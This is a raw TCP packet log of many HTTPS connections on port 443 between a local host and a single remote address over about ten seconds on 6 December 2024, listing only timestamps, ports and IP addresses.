Dec 6, 2024 15:52:29.884392977 CET	443	49708	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:29.884422064 CET	49708	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:29.884454966 CET	49708	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:29.896236897 CET	49708	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:29.896266937 CET	443	49708	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:29.896279097 CET	49708	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:29.896286011 CET	443	49708	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:29.986051083 CET	49709	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:29.986112118 CET	443	49709	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:29.986188889 CET	49709	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:29.989209890 CET	49709	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:29.989227057 CET	443	49709	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:29.990227938 CET	49710	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:29.990272045 CET	443	49710	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:29.990328074 CET	49710	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:29.990530968 CET	49710	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:29.990545034 CET	443	49710	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:29.992624044 CET	49711	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:29.992640972 CET	443	49711	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:29.992693901 CET	49711	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:29.995017052 CET	49713	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:29.995049000 CET	443	49713	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:29.995126009 CET	49713	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:29.995335102 CET	49712	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:29.995389938 CET	443	49712	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:29.996102095 CET	49712	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:29.999960899 CET	49711	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:29.999974966 CET	443	49711	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:30.000113010 CET	49713	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:30.000128031 CET	443	49713	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:30.000344038 CET	49712	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:30.000369072 CET	443	49712	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:31.758491039 CET	443	49713	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:31.759102106 CET	443	49710	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:31.759381056 CET	443	49709	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:31.760457993 CET	443	49712	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:31.761405945 CET	49710	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:31.761413097 CET	49713	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:31.761425018 CET	443	49713	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:31.761426926 CET	443	49710	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:31.761698961 CET	443	49711	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:31.761811972 CET	49709	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:31.761848927 CET	443	49709	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:31.762116909 CET	49713	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:31.762125015 CET	443	49713	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:31.762693882 CET	49710	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:31.762701988 CET	443	49710	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:31.762897968 CET	49709	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:31.762906075 CET	443	49709	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:31.763056993 CET	49711	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:31.763066053 CET	443	49711	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:31.763483047 CET	49711	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:31.763488054 CET	443	49711	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:31.763851881 CET	49712	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:31.763866901 CET	443	49712	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:31.764247894 CET	49712	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:31.764254093 CET	443	49712	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:32.204960108 CET	443	49710	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:32.205040932 CET	443	49710	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:32.205140114 CET	49710	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:32.207401037 CET	443	49712	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:32.207489014 CET	443	49712	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:32.207557917 CET	49712	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:32.210129976 CET	443	49709	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:32.210155010 CET	443	49709	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:32.210205078 CET	443	49709	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:32.210216045 CET	49709	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:32.210289955 CET	49709	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:32.210798979 CET	443	49711	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:32.210803032 CET	443	49713	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:32.210823059 CET	443	49711	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:32.210824966 CET	443	49713	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:32.210885048 CET	443	49713	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:32.210886002 CET	49711	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:32.210886955 CET	443	49711	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:32.210887909 CET	49713	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:32.210937977 CET	49711	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:32.210942984 CET	49713	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:32.288048983 CET	49710	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:32.288069963 CET	443	49710	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:32.288080931 CET	49710	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:32.288088083 CET	443	49710	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:32.346189022 CET	49713	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:32.346223116 CET	443	49713	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:32.347929001 CET	49712	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:32.347965002 CET	443	49712	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:32.347982883 CET	49712	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:32.347990036 CET	443	49712	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:32.349132061 CET	49709	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:32.349173069 CET	443	49709	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:32.349189043 CET	49709	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:32.349195004 CET	443	49709	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:32.349812984 CET	49711	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:32.349817991 CET	443	49711	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:32.379041910 CET	49714	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:32.379081964 CET	443	49714	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:32.379228115 CET	49714	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:32.380646944 CET	49715	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:32.380688906 CET	443	49715	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:32.380836010 CET	49715	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:32.381791115 CET	49714	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:32.381808043 CET	443	49714	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:32.381841898 CET	49715	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:32.381855011 CET	443	49715	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:32.383387089 CET	49716	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:32.383424997 CET	443	49716	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:32.383532047 CET	49716	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:32.383682013 CET	49716	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:32.383692980 CET	443	49716	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:32.385648012 CET	49717	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:32.385684013 CET	443	49717	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:32.385742903 CET	49717	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:32.386441946 CET	49718	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:32.386451006 CET	443	49718	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:32.386497974 CET	49718	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:32.386653900 CET	49718	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:32.386666059 CET	443	49718	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:32.387115955 CET	49717	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:32.387130976 CET	443	49717	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:34.007361889 CET	443	49718	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:34.063251972 CET	49718	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:34.073967934 CET	49718	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:34.073977947 CET	443	49718	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:34.075366020 CET	49718	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:34.075372934 CET	443	49718	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:34.190066099 CET	443	49716	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:34.191493034 CET	49716	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:34.191510916 CET	443	49716	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:34.193942070 CET	49716	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:34.193953991 CET	443	49716	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:34.195266008 CET	443	49715	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:34.195437908 CET	443	49717	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:34.196130037 CET	49715	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:34.196130037 CET	49715	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:34.196145058 CET	443	49715	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:34.196158886 CET	443	49715	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:34.196774006 CET	49717	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:34.196783066 CET	443	49717	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:34.197232008 CET	49717	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:34.197236061 CET	443	49717	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:34.204989910 CET	443	49714	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:34.207206011 CET	49714	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:34.207206011 CET	49714	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:34.207221031 CET	443	49714	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:34.207242012 CET	443	49714	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:34.441816092 CET	443	49718	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:34.441886902 CET	443	49718	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:34.442354918 CET	49718	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:34.445630074 CET	49718	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:34.445658922 CET	443	49718	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:34.445673943 CET	49718	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:34.445679903 CET	443	49718	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:34.451809883 CET	49721	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:34.451848984 CET	443	49721	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:34.451958895 CET	49721	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:34.452404976 CET	49721	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:34.452415943 CET	443	49721	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:34.628634930 CET	443	49716	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:34.628715038 CET	443	49716	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:34.629210949 CET	49716	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:34.633832932 CET	443	49717	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:34.633908987 CET	443	49717	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:34.635345936 CET	443	49715	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:34.635417938 CET	443	49715	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:34.636931896 CET	49717	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:34.636934042 CET	49715	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:34.641415119 CET	443	49714	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:34.641474009 CET	443	49714	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:34.645747900 CET	49714	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:34.655368090 CET	49716	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:34.655400038 CET	443	49716	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:34.655419111 CET	49716	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:34.655426025 CET	443	49716	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:34.660263062 CET	49717	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:34.660290956 CET	443	49717	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:34.660305977 CET	49717	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:34.660312891 CET	443	49717	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:34.662318945 CET	49715	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:34.662345886 CET	443	49715	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:34.662359953 CET	49715	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:34.662365913 CET	443	49715	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:34.664616108 CET	49714	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:34.664648056 CET	443	49714	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:34.664660931 CET	49714	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:34.664669991 CET	443	49714	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:34.951237917 CET	49722	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:34.951291084 CET	443	49722	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:34.951380014 CET	49722	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:34.967642069 CET	49724	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:34.967684031 CET	443	49724	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:34.967778921 CET	49724	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:34.968394995 CET	49722	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:34.968431950 CET	443	49722	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:34.978395939 CET	49724	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:34.978410959 CET	443	49724	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:34.982208967 CET	49725	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:34.982245922 CET	443	49725	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:34.982547998 CET	49725	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:34.982702971 CET	49725	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:34.982714891 CET	443	49725	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:34.985341072 CET	49726	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:34.985363007 CET	443	49726	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:34.985656023 CET	49726	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:34.988378048 CET	49726	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:34.988389015 CET	443	49726	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:36.181370020 CET	443	49721	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:36.190265894 CET	49721	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:36.190289974 CET	443	49721	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:36.190774918 CET	49721	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:36.190779924 CET	443	49721	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:36.536041975 CET	443	49726	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:36.616317987 CET	443	49721	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:36.616398096 CET	443	49721	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:36.630755901 CET	49721	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:36.632431984 CET	49721	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:36.632462978 CET	443	49721	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:36.632483959 CET	49721	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:36.632491112 CET	443	49721	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:36.642368078 CET	49727	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:36.642421007 CET	443	49727	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:36.648354053 CET	49727	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:36.648802042 CET	49727	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:36.648816109 CET	443	49727	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:36.689495087 CET	443	49722	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:36.694536924 CET	49722	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:36.694560051 CET	443	49722	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:36.695050001 CET	49722	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:36.695055962 CET	443	49722	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:36.696679115 CET	443	49724	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:36.697105885 CET	49724	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:36.697129011 CET	443	49724	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:36.697514057 CET	49724	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:36.697520018 CET	443	49724	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:36.743325949 CET	443	49726	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:36.744357109 CET	49726	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:36.744389057 CET	443	49726	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:36.744962931 CET	49726	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:36.744970083 CET	443	49726	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:36.748559952 CET	443	49725	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:36.749412060 CET	49725	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:36.749438047 CET	443	49725	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:36.749833107 CET	49725	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:36.749840021 CET	443	49725	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:37.061867952 CET	443	49726	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:37.061953068 CET	443	49726	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:37.078332901 CET	49726	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:37.112761021 CET	49726	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:37.112797022 CET	443	49726	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:37.112811089 CET	49726	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:37.112823963 CET	443	49726	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:37.132824898 CET	443	49722	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:37.132886887 CET	443	49722	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:37.133358002 CET	49722	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:37.133703947 CET	443	49724	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:37.133784056 CET	443	49724	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:37.143346071 CET	443	49724	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:37.153422117 CET	49724	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:37.184928894 CET	443	49725	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:37.185007095 CET	443	49725	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:37.188601017 CET	49725	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:37.202275991 CET	49724	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:37.202295065 CET	49722	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:37.202295065 CET	49722	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:37.202306986 CET	443	49724	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:37.202327013 CET	49724	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:37.202327967 CET	443	49722	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:37.202334881 CET	443	49724	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:37.202334881 CET	443	49722	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:37.204267979 CET	49725	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:37.204288006 CET	443	49725	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:37.204301119 CET	49725	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:37.204308033 CET	443	49725	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:37.207837105 CET	49728	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:37.207875013 CET	443	49728	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:37.210140944 CET	49729	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:37.210161924 CET	443	49729	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:37.211014986 CET	49730	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:37.211039066 CET	443	49730	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:37.211936951 CET	49731	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:37.211949110 CET	443	49731	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:37.212021112 CET	49728	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:37.212361097 CET	49729	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:37.212373018 CET	49730	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:37.212421894 CET	49731	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:37.213954926 CET	49728	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:37.213978052 CET	443	49728	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:37.214256048 CET	49729	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:37.214272976 CET	443	49729	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:37.214330912 CET	49730	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:37.214343071 CET	443	49730	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:37.214416027 CET	49731	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:37.214427948 CET	443	49731	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:38.600215912 CET	443	49727	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:38.601485014 CET	49727	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:38.601505995 CET	443	49727	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:38.601989985 CET	49727	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:38.601994991 CET	443	49727	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:39.046140909 CET	443	49727	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:39.046221972 CET	443	49727	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:39.046287060 CET	49727	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:39.046555042 CET	49727	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:39.046571970 CET	443	49727	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:39.046616077 CET	49727	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:39.046623945 CET	443	49727	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:39.049700022 CET	49733	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:39.049762011 CET	443	49733	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:39.049973965 CET	49733	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:39.050219059 CET	49733	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:39.050240040 CET	443	49733	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:39.054090023 CET	443	49729	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:39.055253029 CET	49729	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:39.055274963 CET	443	49729	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:39.055707932 CET	49729	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:39.055716038 CET	443	49729	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:39.058973074 CET	443	49728	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:39.059400082 CET	49728	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:39.059427023 CET	443	49728	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:39.059583902 CET	443	49731	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:39.059803009 CET	49728	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:39.059812069 CET	443	49728	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:39.059899092 CET	49731	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:39.059914112 CET	443	49731	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:39.060035944 CET	443	49730	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:39.060360909 CET	49731	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:39.060364962 CET	443	49731	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:39.060726881 CET	49730	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:39.060736895 CET	443	49730	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:39.061091900 CET	49730	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:39.061099052 CET	443	49730	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:39.506057978 CET	443	49729	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:39.506139040 CET	443	49729	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:39.506280899 CET	49729	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:39.506791115 CET	49729	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:39.506814003 CET	443	49729	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:39.506829023 CET	49729	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:39.506835938 CET	443	49729	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:39.510559082 CET	49734	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:39.510595083 CET	443	49734	13.107.246.63	192.168.2.7
Dec 6, 2024 15:52:39.510744095 CET	49734	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:52:39.511277914 CET	49734	443	192.168.2.7	13.107.246.63
